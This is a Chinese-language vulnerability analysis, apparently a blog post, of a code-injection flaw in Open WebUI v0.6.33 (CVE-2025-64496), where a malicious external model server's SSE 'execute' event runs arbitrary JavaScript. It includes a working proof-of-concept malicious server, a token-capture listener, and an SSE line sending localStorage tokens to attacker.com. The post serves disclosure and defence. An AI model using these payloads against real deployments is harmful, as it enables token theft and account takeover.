Open WebUI 外部模型服务器代码注入漏洞分析

本文详细分析了Open WebUI v0.6.33及以下版本中存在的代码注入漏洞,攻击者可通过恶意外部模型服务器利用SSE事件执行任意JavaScript代码,导致身份令牌窃取和完全账户接管。

Open WebUI 受外部模型服务器影响的代码注入漏洞分析

漏洞概述

Open WebUI v0.6.33及以下版本在直接连接功能中存在代码注入漏洞,允许恶意外部模型服务器通过服务器发送事件(SSE)的execute事件在受害者浏览器中执行任意JavaScript代码。这会导致身份验证令牌被盗、完全账户被接管,当与Functions API结合使用时,还能在后台服务器上实现远程代码执行。

漏洞详情

根本原因分析

Open WebUI的直接连接功能允许用户添加外部OpenAI兼容模型服务器,但未对这些服务器发出的服务器发送事件(SSE)进行适当验证。

易受攻击组件:前端SSE事件处理器

前端JavaScript代码处理来自外部服务器的SSE事件,并专门处理触发任意JavaScript执行的execute事件类型:

1
2
3
4
5
// 近似易受攻击的代码位置(前端SSE处理器)
if (event.type === 'execute') {
    const func = new Function(event.data.code);  // 关键:不安全的代码执行
    await func();
}

漏洞详情

  • 未验证外部服务器的可信度
  • 没有可信模型提供商的允许列表
  • 没有事件类型白名单或过滤
  • 使用new Function()直接执行来自execute事件的代码
  • 没有沙箱或内容安全策略强制执行
  • 完全访问浏览器上下文(localStorage、cookies、DOM)

攻击向量

  1. 攻击者部署恶意OpenAI兼容API服务器
  2. 社会工程学:“在http://attacker.com:8000试用我的免费GPT-4替代品”
  3. 受害者启用直接连接(管理员设置→连接)
  4. 受害者添加攻击者的URL作为外部连接
  5. 受害者向恶意模型发送任何消息
  6. 恶意服务器响应包含以下内容的SSE流:
    1
    
    data: {"event": {"type": "execute", "data": {"code": "fetch('http://attacker.com/steal?t=' + localStorage.token)"}}}
    
  7. 前端通过new Function()执行恶意代码
  8. JWT令牌被泄露到攻击者的服务器
  9. 令牌永久有效(expires_at: null)

CWE分类

主要分类:

  • CWE-829:包含来自不受信任控制领域的功能
  • CWE-95:动态评估代码中指令的不当中和

次要分类:

  • CWE-830:包含来自不受信任源的Web功能
  • CWE-501:信任边界违规
  • CWE-522:凭据保护不足(令牌存储在localStorage中)

漏洞复现

前提条件

  • 运行Open WebUI v0.6.33(测试版本)
  • 用于恶意服务器的Node.js v18+
  • 用于令牌监听的Python 3.8+

环境设置

对于Docker部署: 克隆Open WebUI v0.6.33仓库并运行docker compose up

利用步骤

步骤1:创建恶意模型服务器(malicious-server.js)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
const http = require('http');

const server = http.createServer((req, res) => {
    if (req.url === '/v1/models' && req.method === 'GET') {
        res.writeHead(200, { 'Content-Type': 'application/json' });
        res.end(JSON.stringify({
            data: [{ id: "gpt-4-turbo-preview", object: "model" }]
        }));
    } else if (req.url === '/v1/chat/completions' && req.method === 'POST') {
        res.writeHead(200, {
            'Content-Type': 'text/event-stream',
            'Cache-Control': 'no-cache',
            'Connection': 'keep-alive',
            'Access-Control-Allow-Origin': '*'
        });

        // 发送恶意SSE事件
        const maliciousEvent = {
            event: {
                type: "execute",
                data: {
                    code: "fetch('http://localhost:8081/leak?token=' + encodeURIComponent(localStorage.token))"
                }
            }
        };

        res.write(`data: ${JSON.stringify(maliciousEvent)}\n\n`);
        setTimeout(() => res.end(), 1000);
    } else {
        res.writeHead(404);
        res.end();
    }
});

server.listen(8000, () => {
    console.log('恶意服务器运行在 http://localhost:8000');
});

步骤2:创建自动利用脚本(auto_exploit.py)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import http.server
import socketserver
import threading
import requests
import json
import sys
import time

EXFIL_PORT = 8081
OPEN_WEBUI_URL = 'http://localhost:3000'

class TokenCaptureHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if 'token' in self.path:
            print(f"\n[+] 令牌捕获成功!")
            # 处理捕获的令牌...
        
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'OK')

def start_listener():
    with socketserver.TCPServer(("", EXFIL_PORT), TokenCaptureHandler) as httpd:
        httpd.serve_forever()

# 启动监听器线程
listener_thread = threading.Thread(target=start_listener)
listener_thread.daemon = True
listener_thread.start()

步骤3:启用直接连接并添加恶意模型

  1. 以管理员身份登录Open WebUI
  2. 转到管理员面板→设置→连接
  3. 启用"直接连接"切换
  4. 点击"添加连接"
  5. 输入:
    • 名称:测试模型
    • 基础URL:http://host.docker.internal:8000(用于Docker)或http://localhost:8000
    • API密钥:任意值
  6. 启用连接并保存

步骤4:触发利用

  1. 在Open WebUI聊天界面中
  2. 从模型下拉菜单中选择"gpt-4-turbo-preview"
  3. 输入任何消息:“Hello”
  4. 点击发送

预期结果

  • 恶意服务器接收到请求并发送恶意SSE事件
  • 前端JavaScript执行恶意代码
  • 身份验证令牌被泄露到攻击者的监听器
  • 攻击者获得有效管理员令牌

影响分析

漏洞类型:通过不受信任外部数据源的代码注入

受影响用户

  • 所有启用直接连接功能的用户
  • 允许外部模型端点的组织
  • 使用本地模型(Ollama、LM Studio、自定义API)的用户
  • 开发和测试环境

攻击场景

场景1:企业间谍活动

攻击者针对使用Open WebUI的公司,在Reddit/HackerNews上发布"免费GPT-4替代品",公司员工添加恶意模型,多个令牌被盗包括管理员,完全访问公司的AI对话和数据。

场景2:供应链攻击

MSP为50个客户托管Open WebUI,MSP员工测试恶意模型,管理员令牌被盗,攻击者获得所有50个客户实例的访问权限。

场景3:内部威胁放大

拥有用户账户的不满员工部署恶意模型,在公司Slack中分享:“很酷的新模型!",管理员测试它,令牌被盗,员工升级为管理员权限。

时间线分析

  • T+0s:用户发送消息
  • T+1s:恶意SSE事件注入
  • T+2s:JavaScript在浏览器中执行
  • T+3s:令牌泄露给攻击者
  • T+4s:令牌被捕获并验证

总时间:从第一条消息开始不到5秒

修复建议

已修复版本:v0.6.35

修复措施包括:

  • 实现SSE事件类型白名单
  • 移除不安全的代码执行功能
  • 增强外部服务器验证
  • 实施内容安全策略

参考信息

  • GHSA-cm35-v4vp-5xvx
  • open-webui/open-webui@8af6a4c
  • CVE-2025-64496
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计